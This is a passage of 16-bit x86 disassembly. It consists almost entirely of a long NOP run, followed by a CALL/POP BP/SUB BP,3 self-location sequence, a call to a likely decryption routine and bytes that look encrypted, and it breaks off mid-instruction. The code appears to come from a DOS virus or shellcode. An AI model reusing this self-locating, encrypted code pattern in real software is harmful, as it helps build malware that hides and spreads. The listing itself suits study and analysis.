90 NOP +02CB 90 NOP +02CC 90 NOP +02CD 90 NOP +02CE 90 NOP +02CF 90 NOP +02D0 90 NOP +02D1 90 NOP +02D2 90 NOP +02D3 90 NOP +02D4 90 NOP +02D5 90 NOP +02D6 90 NOP +02D7 90 NOP +02D8 90 NOP +02D9 90 NOP +02DA 90 NOP +02DB 90 NOP +02DC 90 NOP +02DD 90 NOP +02DE 90 NOP +02DF 90 NOP +02E0 90 NOP +02E1 90 NOP +02E2 90 NOP +02E3 90 NOP +02E4 90 NOP +02E5 90 NOP +02E6 90 NOP +02E7 90 NOP +02E8 90 NOP +02E9 90 NOP +02EA 90 NOP +02EB 90 NOP +02EC 90 NOP +02ED 90 NOP +02EE 90 NOP +02EF 90 NOP +02F0 90 NOP +02F1 90 NOP +02F2 90 NOP +02F3 90 NOP +02F4 90 NOP +02F5 90 NOP +02F6 90 NOP +02F7 90 NOP +02F8 90 NOP +02F9 90 NOP +02FA 90 NOP +02FB 90 NOP +02FC 90 NOP +02FD 90 NOP +02FE 90 NOP +02FF 90 NOP +0300 90 NOP +0301 90 NOP +0302 90 NOP +0303 90 NOP +0304 90 NOP +0305 90 NOP +0306 90 NOP +0307 90 NOP +0308 90 NOP +0309 90 NOP +030A 90 NOP +030B 90 NOP +030C 90 NOP +030D 90 NOP +030E 90 NOP +030F 90 NOP +0310 90 NOP +0311 90 NOP +0312 90 NOP +0313 90 NOP +0314 90 NOP +0315 90 NOP +0316 90 NOP +0317 90 NOP +0318 90 NOP +0319 90 NOP +031A 90 NOP +031B 90 NOP +031C 90 NOP +031D 90 NOP +031E 90 NOP +031F 90 NOP +0320 90 NOP +0321 90 NOP +0322 90 NOP +0323 90 NOP +0324 90 NOP +0325 90 NOP +0326 90 NOP +0327 90 NOP +0328 90 NOP +0329 90 NOP +032A 90 NOP +032B 90 NOP +032C 90 NOP +032D 90 NOP +032E 90 NOP +032F 90 NOP +0330 90 NOP +0331 90 NOP +0332 90 NOP +0333 90 NOP +0334 90 NOP +0335 90 NOP +0336 90 NOP +0337 90 NOP +0338 90 NOP +0339 90 NOP +033A 90 NOP +033B 90 NOP +033C 90 NOP +033D 90 NOP +033E 90 NOP +033F 90 NOP +0340 90 NOP +0341 90 NOP +0342 90 NOP +0343 90 NOP +0344 90 NOP +0345 90 NOP +0346 90 NOP +0347 90 NOP +0348 90 NOP +0349 90 NOP +034A 90 NOP +034B 90 NOP +034C 90 NOP +034D 90 NOP +034E 90 NOP +034F 90 NOP +0350 90 NOP +0351 90 NOP +0352 90 NOP +0353 90 NOP +0354 90 NOP +0355 90 NOP +0356 90 NOP +0357 90 NOP +0358 90 NOP +0359 90 NOP +035A 90 NOP +035B 90 NOP +035C 90 NOP +035D 90 NOP +035E 90 NOP +035F 90 NOP +0360 90 NOP +0361 90 NOP +0362 90 NOP +0363 90 NOP +0364 90 NOP +0365 90 NOP +0366 90 NOP +0367 90 NOP +0368 90 NOP +0369 90 NOP +036A 90 NOP +036B 90 NOP +036C 90 NOP +036D 90 NOP +036E 90 NOP +036F 90 NOP +0370 90 NOP +0371 90 NOP +0372 90 NOP +0373 90 NOP +0374 90 NOP +0375 90 NOP +0376 90 NOP +0377 90 NOP +0378 90 NOP +0379 90 NOP +037A 90 NOP +037B 90 NOP +037C 90 NOP +037D 90 NOP +037E 90 NOP +037F 90 NOP +0380 90 NOP +0381 90 NOP +0382 90 NOP +0383 90 NOP +0384 90 NOP +0385 90 NOP +0386 90 NOP +0387 90 NOP +0388 90 NOP +0389 90 NOP +038A 90 NOP +038B 90 NOP +038C 90 NOP +038D 90 NOP +038E 90 NOP +038F 90 NOP +0390 90 NOP +0391 90 NOP +0392 90 NOP +0393 90 NOP +0394 90 NOP +0395 90 NOP +0396 90 NOP +0397 90 NOP +0398 90 NOP +0399 90 NOP +039A 90 NOP +039B 90 NOP +039C 90 NOP +039D 90 NOP +039E 90 NOP +039F 90 NOP +03A0 90 NOP +03A1 90 NOP +03A2 90 NOP +03A3 90 NOP +03A4 90 NOP +03A5 90 NOP +03A6 90 NOP +03A7 90 NOP +03A8 90 NOP +03A9 90 NOP +03AA 90 NOP +03AB 90 NOP +03AC 90 NOP +03AD 90 NOP +03AE 90 NOP +03AF 90 NOP +03B0 90 NOP +03B1 90 NOP +03B2 90 NOP +03B3 90 NOP +03B4 90 NOP +03B5 90 NOP +03B6 90 NOP +03B7 90 NOP +03B8 90 NOP +03B9 90 NOP +03BA 90 NOP +03BB 90 NOP +03BC 90 NOP +03BD 90 NOP +03BE 90 NOP +03BF 90 NOP +03C0 90 NOP +03C1 90 NOP +03C2 90 NOP +03C3 90 NOP +03C4 90 NOP +03C5 90 NOP +03C6 90 NOP +03C7 90 NOP +03C8 90 NOP +03C9 90 NOP +03CA 90 NOP +03CB 90 NOP +03CC 90 NOP +03CD 90 NOP +03CE 90 NOP +03CF 90 NOP +03D0 90 NOP +03D1 90 NOP +03D2 90 NOP +03D3 90 NOP +03D4 90 NOP +03D5 90 NOP +03D6 90 NOP +03D7 90 NOP +03D8 90 NOP +03D9 90 NOP +03DA 90 NOP +03DB 90 NOP +03DC 90 NOP +03DD 90 NOP +03DE 90 NOP +03DF 90 NOP +03E0 90 NOP +03E1 90 NOP +03E2 90 NOP +03E3 90 NOP +03E4 90 NOP +03E5 90 NOP +03E6 90 NOP +03E7 90 NOP +03E8 90 NOP +03E9 90 NOP +03EA 90 NOP +03EB 90 NOP +03EC 90 NOP +03ED 90 NOP +03EE 90 NOP +03EF 90 NOP +03F0 90 NOP +03F1 90 NOP +03F2 90 NOP +03F3 90 NOP +03F4 90 NOP +03F5 90 NOP +03F6 90 NOP +03F7 90 NOP +03F8 90 NOP +03F9 90 NOP +03FA 90 NOP +03FB 90 NOP +03FC 90 NOP +03FD 90 NOP +03FE 90 NOP +03FF 90 NOP +0400 90 NOP +0401 90 NOP +0402 90 NOP +0403 90 NOP +0404 90 NOP +0405 90 NOP +0406 90 NOP +0407 90 NOP +0408 90 NOP +0409 90 NOP +040A 90 NOP +040B 90 NOP +040C 90 NOP +040D 90 NOP +040E 90 NOP +040F 90 NOP +0410 90 NOP +0411 90 NOP +0412 90 NOP +0413 90 NOP +0414 90 NOP +0415 90 NOP +0416 90 NOP +0417 90 NOP +0418 90 NOP +0419 90 NOP +041A 90 NOP +041B 90 NOP +041C 90 NOP +041D 90 NOP +041E 90 NOP +041F 90 NOP +0420 90 NOP +0421 90 NOP +0422 90 NOP +0423 90 NOP +0424 90 NOP +0425 90 NOP +0426 90 NOP +0427 90 NOP +0428 90 NOP +0429 90 NOP +042A 90 NOP +042B 90 NOP +042C 90 NOP +042D 90 NOP +042E 90 NOP +042F 90 NOP +0430 90 NOP +0431 90 NOP +0432 90 NOP +0433 90 NOP +0434 90 NOP +0435 90 NOP +0436 90 NOP +0437 90 NOP +0438 90 NOP +0439 90 NOP +043A 90 NOP +043B 90 NOP +043C 90 NOP +043D 90 NOP +043E 90 NOP +043F 90 NOP +0440 90 NOP +0441 90 NOP +0442 90 NOP +0443 90 NOP +0444 90 NOP +0445 90 NOP +0446 90 NOP +0447 90 NOP +0448 90 NOP +0449 90 NOP +044A 90 NOP +044B 90 NOP +044C 90 NOP +044D 90 NOP +044E 90 NOP +044F 90 NOP +0450 90 NOP +0451 90 NOP +0452 90 NOP +0453 90 NOP +0454 90 NOP +0455 90 NOP +0456 90 NOP +0457 90 NOP +0458 90 NOP +0459 90 NOP +045A 90 NOP +045B 90 NOP +045C 90 NOP +045D 90 NOP +045E 90 NOP +045F 90 NOP +0460 90 NOP +0461 90 NOP +0462 90 NOP +0463 90 NOP +0464 90 NOP +0465 90 NOP +0466 90 NOP +0467 90 NOP +0468 90 NOP +0469 90 NOP +046A 90 NOP +046B 90 NOP +046C 90 NOP +046D 90 NOP +046E 90 NOP +046F 90 NOP +0470 90 NOP +0471 90 NOP +0472 90 NOP +0473 90 NOP +0474 90 NOP +0475 90 NOP +0476 90 NOP +0477 90 NOP +0478 90 NOP +0479 90 NOP +047A 90 NOP +047B 90 NOP +047C 90 NOP +047D 90 NOP +047E 90 NOP +047F 90 NOP +0480 90 NOP +0481 90 NOP +0482 90 NOP +0483 90 NOP +0484 90 NOP +0485 90 NOP +0486 90 NOP +0487 90 NOP +0488 90 NOP +0489 90 NOP +048A 90 NOP +048B 90 NOP +048C 90 NOP +048D 90 NOP +048E 90 NOP +048F 90 NOP +0490 90 NOP +0491 90 NOP +0492 90 NOP +0493 90 NOP +0494 90 NOP +0495 90 NOP +0496 90 NOP +0497 90 NOP +0498 90 NOP +0499 90 NOP +049A 90 NOP +049B 90 NOP +049C 90 NOP +049D 90 NOP +049E 90 NOP +049F 90 NOP +04A0 90 NOP +04A1 90 NOP +04A2 90 NOP +04A3 90 NOP +04A4 90 NOP +04A5 90 NOP +04A6 90 NOP +04A7 90 NOP +04A8 90 NOP +04A9 90 NOP +04AA 90 NOP +04AB 90 NOP +04AC 90 NOP +04AD 90 NOP +04AE 90 NOP +04AF 90 NOP +04B0 90 NOP +04B1 90 NOP +04B2 90 NOP +04B3 90 NOP +04B4 90 NOP +04B5 90 NOP +04B6 90 NOP +04B7 90 NOP +04B8 90 NOP +04B9 90 NOP +04BA 90 NOP +04BB 90 NOP +04BC 90 NOP +04BD 90 NOP +04BE 90 NOP +04BF 90 NOP +04C0 90 NOP +04C1 90 NOP +04C2 90 NOP +04C3 90 NOP +04C4 90 NOP +04C5 90 NOP +04C6 90 NOP +04C7 90 NOP +04C8 90 NOP +04C9 90 NOP +04CA 90 NOP +04CB 90 NOP +04CC 90 NOP +04CD 90 NOP +04CE 90 NOP +04CF 90 NOP +04D0 90 NOP +04D1 90 NOP +04D2 90 NOP +04D3 90 NOP +04D4 90 NOP +04D5 90 NOP +04D6 90 NOP +04D7 90 NOP +04D8 90 NOP +04D9 90 NOP +04DA 90 NOP +04DB 90 NOP +04DC 90 NOP +04DD 90 NOP +04DE 90 NOP +04DF 90 NOP +04E0 90 NOP +04E1 90 NOP +04E2 90 NOP +04E3 90 NOP +04E4 90 NOP +04E5 90 NOP +04E6 90 NOP +04E7 90 NOP +04E8 90 NOP +04E9 90 NOP +04EA 90 NOP +04EB 90 NOP +04EC 90 NOP +04ED 90 NOP +04EE 90 NOP +04EF 90 NOP +04F0 90 NOP +04F1 90 NOP +04F2 90 NOP +04F3 90 NOP +04F4 90 NOP +04F5 90 NOP +04F6 90 NOP +04F7 90 NOP +04F8 90 NOP +04F9 90 NOP +04FA 90 NOP +04FB 90 NOP +04FC 90 NOP +04FD 90 NOP +04FE 90 NOP +04FF 90 NOP +0500 90 NOP +0501 90 NOP +0502 90 NOP +0503 90 NOP +0504 90 NOP +0505 90 NOP +0506 90 NOP +0507 90 NOP +0508 90 NOP +0509 90 NOP +050A 90 NOP +050B 90 NOP +050C 90 NOP +050D 90 NOP +050E 90 NOP +050F 90 NOP +0510 90 NOP +0511 90 NOP +0512 90 NOP +0513 90 NOP +0514 90 NOP +0515 90 NOP +0516 90 NOP +0517 90 NOP +0518 90 NOP +0519 90 NOP +051A 90 NOP +051B 90 NOP +051C 90 NOP +051D 90 NOP +051E 90 NOP +051F 90 NOP +0520 90 NOP +0521 90 NOP +0522 90 NOP +0523 90 NOP +0524 90 NOP +0525 90 NOP +0526 90 NOP +0527 90 NOP +0528 90 NOP +0529 90 NOP +052A 90 NOP +052B 90 NOP +052C 90 NOP +052D 90 NOP +052E 90 NOP +052F 90 NOP +0530 90 NOP +0531 90 NOP +0532 90 NOP +0533 90 NOP +0534 90 NOP +0535 90 NOP +0536 90 NOP +0537 90 NOP +0538 90 NOP +0539 90 NOP +053A 90 NOP +053B 90 NOP +053C 90 NOP +053D 90 NOP +053E 90 NOP +053F 90 NOP +0540 90 NOP +0541 90 NOP +0542 90 NOP +0543 90 NOP +0544 90 NOP +0545 90 NOP +0546 90 NOP +0547 90 NOP +0548 90 NOP +0549 90 NOP +054A 90 NOP +054B 90 NOP +054C 90 NOP +054D 90 NOP +054E 90 NOP +054F 90 NOP +0550 90 NOP +0551 90 NOP +0552 90 NOP +0553 90 NOP +0554 90 NOP +0555 90 NOP +0556 90 NOP +0557 90 NOP +0558 90 NOP +0559 90 NOP +055A 90 NOP +055B 90 NOP +055C 90 NOP +055D 90 NOP +055E 90 NOP +055F 90 NOP +0560 90 NOP +0561 90 NOP +0562 90 NOP +0563 90 NOP +0564 90 NOP +0565 90 NOP +0566 90 NOP +0567 90 NOP +0568 90 NOP +0569 90 NOP +056A 90 NOP +056B 90 NOP +056C 90 NOP +056D 90 NOP +056E 90 NOP +056F 90 NOP +0570 90 NOP +0571 90 NOP +0572 90 NOP +0573 90 NOP +0574 90 NOP +0575 90 NOP +0576 90 NOP +0577 90 NOP +0578 90 NOP +0579 90 NOP +057A 90 NOP +057B 90 NOP +057C 90 NOP +057D 90 NOP +057E 90 NOP +057F 90 NOP +0580 90 NOP +0581 90 NOP +0582 90 NOP +0583 90 NOP +0584 90 NOP +0585 90 NOP +0586 90 NOP +0587 90 NOP +0588 90 NOP +0589 90 NOP +058A 90 NOP +058B 90 NOP +058C 90 NOP +058D 90 NOP +058E 90 NOP +058F 90 NOP +0590 90 NOP +0591 90 NOP +0592 90 NOP +0593 90 NOP +0594 90 NOP +0595 90 NOP +0596 90 NOP +0597 90 NOP +0598 90 NOP +0599 90 NOP +059A 90 NOP +059B 90 NOP +059C 90 NOP +059D 90 NOP +059E 90 NOP +059F 90 NOP +05A0 90 NOP +05A1 90 NOP +05A2 90 NOP +05A3 90 NOP +05A4 90 NOP +05A5 90 NOP +05A6 90 NOP +05A7 90 NOP +05A8 90 NOP +05A9 90 NOP +05AA 90 NOP +05AB 90 NOP +05AC 90 NOP +05AD 90 NOP +05AE 90 NOP +05AF 90 NOP +05B0 90 NOP +05B1 90 NOP +05B2 90 NOP +05B3 90 NOP +05B4 90 NOP +05B5 90 NOP +05B6 90 NOP +05B7 90 NOP +05B8 90 NOP +05B9 90 NOP +05BA 90 NOP +05BB 90 NOP +05BC 90 NOP +05BD 90 NOP +05BE 90 NOP +05BF 90 NOP +05C0 90 NOP +05C1 90 NOP +05C2 90 NOP +05C3 90 NOP +05C4 90 NOP +05C5 90 NOP +05C6 90 NOP +05C7 90 NOP +05C8 90 NOP +05C9 90 NOP +05CA 90 NOP +05CB 90 NOP +05CC 90 NOP +05CD 90 NOP +05CE 90 NOP +05CF 90 NOP +05D0 90 NOP +05D1 90 NOP +05D2 90 NOP +05D3 90 NOP +05D4 90 NOP +05D5 90 NOP +05D6 90 NOP +05D7 90 NOP +05D8 90 NOP +05D9 90 NOP +05DA 90 NOP +05DB 90 NOP +05DC 90 NOP +05DD 90 NOP +05DE 90 NOP +05DF 90 NOP +05E0 90 NOP +05E1 90 NOP +05E2 90 NOP +05E3 90 NOP +05E4 90 NOP +05E5 90 NOP +05E6 90 NOP +05E7 90 NOP +05E8 90 NOP +05E9 90 NOP +05EA 90 NOP +05EB 90 NOP +05EC 90 NOP +05ED 90 NOP +05EE 90 NOP +05EF 90 NOP +05F0 90 NOP +05F1 90 NOP +05F2 90 NOP +05F3 90 NOP +05F4 90 NOP +05F5 90 NOP +05F6 90 NOP +05F7 90 NOP +05F8 90 NOP +05F9 90 NOP +05FA 90 NOP +05FB 90 NOP +05FC 90 NOP +05FD 90 NOP +05FE 90 NOP +05FF 90 NOP +0600 90 NOP +0601 90 NOP +0602 90 NOP +0603 90 NOP +0604 90 NOP +0605 90 NOP +0606 90 NOP +0607 90 NOP +0608 90 NOP +0609 90 NOP +060A 90 NOP +060B 90 NOP +060C 90 NOP +060D 90 NOP +060E 90 NOP +060F 90 NOP +0610 90 NOP +0611 90 NOP +0612 90 NOP +0613 90 NOP +0614 90 NOP +0615 90 NOP +0616 90 NOP +0617 90 NOP +0618 90 NOP +0619 90 NOP +061A 90 NOP +061B 90 NOP +061C 90 NOP +061D 90 NOP +061E 90 NOP +061F 90 NOP +0620 90 NOP +0621 90 NOP +0622 90 NOP +0623 90 NOP +0624 90 NOP +0625 90 NOP +0626 90 NOP +0627 90 NOP +0628 90 NOP +0629 90 NOP +062A 90 NOP +062B 90 NOP +062C 90 NOP +062D 90 NOP +062E 90 NOP +062F 90 NOP +0630 90 NOP +0631 90 NOP +0632 90 NOP +0633 90 NOP +0634 90 NOP +0635 90 NOP +0636 90 NOP +0637 90 NOP +0638 90 NOP +0639 90 NOP +063A 90 NOP +063B 90 NOP +063C 90 NOP +063D 90 NOP +063E 90 NOP +063F 90 NOP +0640 90 NOP +0641 90 NOP +0642 90 NOP +0643 90 NOP +0644 90 NOP +0645 90 NOP +0646 90 NOP +0647 90 NOP +0648 90 NOP +0649 90 NOP +064A 90 NOP +064B 90 NOP +064C 90 NOP +064D 90 NOP +064E 90 NOP +064F 90 NOP +0650 90 NOP +0651 90 NOP +0652 90 NOP +0653 90 NOP +0654 90 NOP +0655 90 NOP +0656 90 NOP +0657 90 NOP +0658 90 NOP +0659 90 NOP +065A 90 NOP +065B 90 NOP +065C 90 NOP +065D 90 NOP +065E 90 NOP +065F 90 NOP +0660 90 NOP +0661 90 NOP +0662 90 NOP +0663 90 NOP +0664 90 NOP +0665 90 NOP +0666 90 NOP +0667 90 NOP +0668 90 NOP +0669 90 NOP +066A 90 NOP +066B 90 NOP +066C 90 NOP +066D 90 NOP +066E 90 NOP +066F 90 NOP +0670 90 NOP +0671 90 NOP +0672 90 NOP +0673 90 NOP +0674 90 NOP +0675 90 NOP +0676 90 NOP +0677 90 NOP +0678 90 NOP +0679 90 NOP +067A 90 NOP +067B 90 NOP +067C 90 NOP +067D 90 NOP +067E 90 NOP +067F 90 NOP +0680 90 NOP +0681 90 NOP +0682 90 NOP +0683 90 NOP +0684 90 NOP +0685 90 NOP +0686 90 NOP +0687 90 NOP +0688 90 NOP +0689 90 NOP +068A 90 NOP +068B 90 NOP +068C 90 NOP +068D 90 NOP +068E 90 NOP +068F 90 NOP +0690 90 NOP +0691 90 NOP +0692 90 NOP +0693 90 NOP +0694 90 NOP +0695 90 NOP +0696 90 NOP +0697 90 NOP +0698 90 NOP +0699 90 NOP +069A 90 NOP +069B 90 NOP +069C 90 NOP +069D 90 NOP +069E 90 NOP +069F 90 NOP +06A0 90 NOP +06A1 90 NOP +06A2 90 NOP +06A3 90 NOP +06A4 90 NOP +06A5 90 NOP +06A6 90 NOP +06A7 90 NOP +06A8 90 NOP +06A9 90 NOP +06AA 90 NOP +06AB 90 NOP +06AC 90 NOP +06AD 90 NOP +06AE 90 NOP +06AF 90 NOP +06B0 90 NOP +06B1 90 NOP +06B2 90 NOP +06B3 90 NOP +06B4 90 NOP +06B5 90 NOP +06B6 90 NOP +06B7 90 NOP +06B8 90 NOP +06B9 90 NOP +06BA 90 NOP +06BB 90 NOP +06BC 90 NOP +06BD 90 NOP +06BE 90 NOP +06BF 90 NOP +06C0 90 NOP +06C1 90 NOP +06C2 90 NOP +06C3 90 NOP +06C4 90 NOP +06C5 90 NOP +06C6 90 NOP +06C7 90 NOP +06C8 90 NOP +06C9 90 NOP +06CA 90 NOP +06CB 90 NOP +06CC 90 NOP +06CD 90 NOP +06CE 90 NOP +06CF 90 NOP +06D0 90 NOP +06D1 90 NOP +06D2 90 NOP +06D3 90 NOP +06D4 90 NOP +06D5 90 NOP +06D6 90 NOP +06D7 90 NOP +06D8 90 NOP +06D9 90 NOP +06DA 90 NOP +06DB 90 NOP +06DC 90 NOP +06DD 90 NOP +06DE 90 NOP +06DF 90 NOP +06E0 90 NOP +06E1 90 NOP +06E2 90 NOP +06E3 90 NOP +06E4 90 NOP +06E5 90 NOP +06E6 90 NOP +06E7 90 NOP +06E8 90 NOP +06E9 90 NOP +06EA 90 NOP +06EB 90 NOP +06EC 90 NOP +06ED 90 NOP +06EE 90 NOP +06EF 90 NOP +06F0 90 NOP +06F1 90 NOP +06F2 90 NOP +06F3 90 NOP +06F4 90 NOP +06F5 90 NOP +06F6 90 NOP +06F7 90 NOP +06F8 90 NOP +06F9 90 NOP +06FA 90 NOP +06FB 90 NOP +06FC 90 NOP +06FD 90 NOP +06FE 90 NOP +06FF 90 NOP +0700 90 NOP +0701 90 NOP +0702 90 NOP +0703 90 NOP +0704 90 NOP +0705 90 NOP +0706 90 NOP +0707 90 NOP +0708 90 NOP +0709 90 NOP +070A 90 NOP +070B 90 NOP +070C 90 NOP +070D 90 NOP +070E 90 NOP +070F 90 NOP +0710 90 NOP +0711 90 NOP +0712 90 NOP +0713 90 NOP +0714 90 NOP +0715 90 NOP +0716 90 NOP +0717 90 NOP +0718 90 NOP +0719 90 NOP +071A 90 NOP +071B 90 NOP +071C 90 NOP +071D 90 NOP +071E 90 NOP +071F 90 NOP +0720 90 NOP +0721 90 NOP +0722 90 NOP +0723 90 NOP +0724 90 NOP +0725 90 NOP +0726 90 NOP +0727 90 NOP +0728 90 NOP +0729 90 NOP +072A 90 NOP +072B 90 NOP +072C 90 NOP +072D 90 NOP +072E 90 NOP +072F 90 NOP +0730 90 NOP +0731 90 NOP +0732 90 NOP +0733 90 NOP +0734 90 NOP +0735 90 NOP +0736 90 NOP +0737 90 NOP +0738 90 NOP +0739 90 NOP +073A 90 NOP +073B 90 NOP +073C 90 NOP +073D 90 NOP +073E 90 NOP +073F 90 NOP +0740 90 NOP +0741 90 NOP +0742 90 NOP +0743 90 NOP +0744 90 NOP +0745 90 NOP +0746 90 NOP +0747 90 NOP +0748 90 NOP +0749 90 NOP +074A 90 NOP +074B 90 NOP +074C 90 NOP +074D 90 NOP +074E 90 NOP +074F 90 NOP +0750 90 NOP +0751 90 NOP +0752 90 NOP +0753 90 NOP +0754 90 NOP +0755 90 NOP +0756 90 NOP +0757 90 NOP +0758 90 NOP +0759 90 NOP +075A 90 NOP +075B 90 NOP +075C 90 NOP +075D 90 NOP +075E 90 NOP +075F 90 NOP +0760 90 NOP +0761 90 NOP +0762 90 NOP +0763 90 NOP +0764 90 NOP +0765 90 NOP +0766 90 NOP +0767 90 NOP +0768 90 NOP +0769 90 NOP +076A 90 NOP +076B 90 NOP +076C 90 NOP +076D 90 NOP +076E 90 NOP +076F 90 NOP +0770 90 NOP +0771 90 NOP +0772 90 NOP +0773 90 NOP +0774 90 NOP +0775 90 NOP +0776 90 NOP +0777 90 NOP +0778 90 NOP +0779 90 NOP +077A 90 NOP +077B 90 NOP +077C 90 NOP +077D 90 NOP +077E 90 NOP +077F 90 NOP +0780 90 NOP +0781 90 NOP +0782 90 NOP +0783 90 NOP +0784 90 NOP +0785 90 NOP +0786 90 NOP +0787 90 NOP +0788 90 NOP +0789 90 NOP +078A 90 NOP +078B 90 NOP +078C 90 NOP +078D 90 NOP +078E 90 NOP +078F 90 NOP +0790 90 NOP +0791 90 NOP +0792 90 NOP +0793 90 NOP +0794 90 NOP +0795 90 NOP +0796 90 NOP +0797 90 NOP +0798 90 NOP +0799 90 NOP +079A 90 NOP +079B 90 NOP +079C 90 NOP +079D 90 NOP +079E 90 NOP +079F 90 NOP +07A0 90 NOP +07A1 90 NOP +07A2 90 NOP +07A3 90 NOP +07A4 90 NOP +07A5 90 NOP +07A6 90 NOP +07A7 90 NOP +07A8 90 NOP +07A9 90 NOP +07AA 90 NOP +07AB 90 NOP +07AC 90 NOP +07AD 90 NOP +07AE 90 NOP +07AF 90 NOP +07B0 90 NOP +07B1 90 NOP +07B2 90 NOP +07B3 90 NOP +07B4 90 NOP +07B5 90 NOP +07B6 90 NOP +07B7 90 NOP +07B8 90 NOP +07B9 90 NOP +07BA 90 NOP +07BB 90 NOP +07BC 90 NOP +07BD 90 NOP +07BE 90 NOP +07BF 90 NOP +07C0 90 NOP +07C1 90 NOP +07C2 90 NOP +07C3 90 NOP +07C4 90 NOP +07C5 90 NOP +07C6 90 NOP +07C7 90 NOP +07C8 90 NOP +07C9 90 NOP +07CA 90 NOP +07CB 90 NOP +07CC 90 NOP +07CD 90 NOP +07CE 90 NOP +07CF 90 NOP +07D0 90 NOP +07D1 90 NOP +07D2 90 NOP +07D3 90 NOP +07D4 90 NOP +07D5 90 NOP +07D6 90 NOP +07D7 90 NOP +07D8 90 NOP +07D9 90 NOP +07DA 90 NOP +07DB 90 NOP +07DC 90 NOP +07DD 90 NOP +07DE 90 NOP +07DF 90 NOP +07E0 90 NOP +07E1 90 NOP +07E2 90 NOP +07E3 90 NOP +07E4 90 NOP +07E5 90 NOP +07E6 90 NOP +07E7 90 NOP +07E8 90 NOP +07E9 90 NOP +07EA 90 NOP +07EB 90 NOP +07EC 90 NOP +07ED 90 NOP +07EE 90 NOP +07EF 90 NOP +07F0 90 NOP +07F1 90 NOP +07F2 90 NOP +07F3 90 NOP +07F4 90 NOP +07F5 90 NOP +07F6 90 NOP +07F7 90 NOP +07F8 90 NOP +07F9 90 NOP +07FA 90 NOP +07FB 90 NOP +07FC 90 NOP +07FD 90 NOP +07FE 90 NOP +07FF 90 NOP +0800 90 NOP +0801 90 NOP +0802 90 NOP +0803 90 NOP +0804 90 NOP +0805 90 NOP +0806 90 NOP +0807 90 NOP +0808 90 NOP +0809 90 NOP +080A 90 NOP +080B 90 NOP +080C 90 NOP +080D 90 NOP +080E 90 NOP +080F 90 NOP +0810 90 NOP +0811 90 NOP +0812 90 NOP +0813 90 NOP +0814 90 NOP +0815 90 NOP +0816 90 NOP +0817 90 NOP +0818 90 NOP +0819 90 NOP +081A 90 NOP +081B 90 NOP +081C 90 NOP +081D 90 NOP +081E 90 NOP +081F 90 NOP +0820 90 NOP +0821 90 NOP +0822 90 NOP +0823 90 NOP +0824 90 NOP +0825 90 NOP +0826 90 NOP +0827 90 NOP +0828 90 NOP +0829 90 NOP +082A 90 NOP +082B 90 NOP +082C 90 NOP +082D 90 NOP +082E 90 NOP +082F 90 NOP +0830 90 NOP +0831 90 NOP +0832 90 NOP +0833 90 NOP +0834 90 NOP +0835 90 NOP +0836 90 NOP +0837 90 NOP +0838 90 NOP +0839 90 NOP +083A 90 NOP +083B 90 NOP +083C 90 NOP +083D 90 NOP +083E 90 NOP +083F 90 NOP +0840 90 NOP +0841 90 NOP +0842 90 NOP +0843 90 NOP +0844 90 NOP +0845 90 NOP +0846 90 NOP +0847 90 NOP +0848 90 NOP +0849 90 NOP +084A 90 NOP +084B 90 NOP +084C 90 NOP +084D 90 NOP +084E 90 NOP +084F 90 NOP +0850 90 NOP +0851 90 NOP +0852 90 NOP +0853 90 NOP +0854 90 NOP +0855 90 NOP +0856 90 NOP +0857 90 NOP +0858 90 NOP +0859 90 NOP +085A 90 NOP +085B 90 NOP +085C 90 NOP +085D 90 NOP +085E 90 NOP +085F 90 NOP +0860 90 NOP +0861 90 NOP +0862 90 NOP +0863 90 NOP +0864 90 NOP +0865 90 NOP +0866 90 NOP +0867 90 NOP +0868 90 NOP +0869 90 NOP +086A 90 NOP +086B 90 NOP +086C 90 NOP +086D 90 NOP +086E 90 NOP +086F 90 NOP +0870 90 NOP +0871 90 NOP +0872 90 NOP +0873 90 NOP +0874 90 NOP +0875 90 NOP +0876 90 NOP +0877 90 NOP +0878 90 NOP +0879 90 NOP +087A 90 NOP +087B 90 NOP +087C 90 NOP +087D 90 NOP +087E 90 NOP +087F 90 NOP +0880 90 NOP +0881 90 NOP +0882 90 NOP +0883 90 NOP +0884 90 NOP +0885 90 NOP +0886 90 NOP +0887 90 NOP +0888 90 NOP +0889 90 NOP +088A 90 NOP +088B 90 NOP +088C 90 NOP +088D 90 NOP +088E 90 NOP +088F 90 NOP +0890 90 NOP +0891 90 NOP +0892 90 NOP +0893 90 NOP +0894 90 NOP +0895 90 NOP +0896 90 NOP +0897 90 NOP +0898 90 NOP +0899 90 NOP +089A 90 NOP +089B 90 NOP +089C 90 NOP +089D 90 NOP +089E 90 NOP +089F 90 NOP +08A0 90 NOP +08A1 90 NOP +08A2 90 NOP +08A3 90 NOP +08A4 90 NOP +08A5 90 NOP +08A6 90 NOP +08A7 90 NOP +08A8 90 NOP +08A9 90 NOP +08AA 90 NOP +08AB 90 NOP +08AC 90 NOP +08AD 90 NOP +08AE 90 NOP +08AF 90 NOP +08B0 90 NOP +08B1 90 NOP +08B2 90 NOP +08B3 90 NOP +08B4 90 NOP +08B5 90 NOP +08B6 90 NOP +08B7 90 NOP +08B8 90 NOP +08B9 90 NOP +08BA 90 NOP +08BB 90 NOP +08BC 90 NOP +08BD 90 NOP +08BE 90 NOP +08BF 90 NOP +08C0 90 NOP +08C1 90 NOP +08C2 90 NOP +08C3 90 NOP +08C4 90 NOP +08C5 90 NOP +08C6 90 NOP +08C7 90 NOP +08C8 90 NOP +08C9 90 NOP +08CA 90 NOP +08CB 90 NOP +08CC 90 NOP +08CD 90 NOP +08CE 90 NOP +08CF 90 NOP +08D0 90 NOP +08D1 90 NOP +08D2 90 NOP +08D3 90 NOP +08D4 90 NOP +08D5 90 NOP +08D6 90 NOP +08D7 90 NOP +08D8 90 NOP +08D9 90 NOP +08DA 90 NOP +08DB 90 NOP +08DC 90 NOP +08DD 90 NOP +08DE 90 NOP +08DF 90 NOP +08E0 90 NOP +08E1 90 NOP +08E2 90 NOP +08E3 90 NOP +08E4 90 NOP +08E5 90 NOP +08E6 90 NOP +08E7 90 NOP +08E8 90 NOP +08E9 90 NOP +08EA 90 NOP +08EB 90 NOP +08EC 90 NOP +08ED 90 NOP +08EE 90 NOP +08EF E8 00 00 CALL 08F2 +08F2 5D POP BP +08F3 81 ED 03 00 SUB BP,3 +08F7 E8 3F 04 CALL 0D39 +08FA 0F F5 DB 0F,0F5 +08FC F6 7A 96 IDIV B[BP+SI-06A] +08FF 8A 86 94 C3 MOV AL,B[BP+0C394] +0903 82 DB 082 +0904 A9 B1 B9 TEST AX,0B9B1 +0907 A8 B9 TEST AL,0B9 +0909 B0 3B MOV AL,03B +090B 77 FF JA 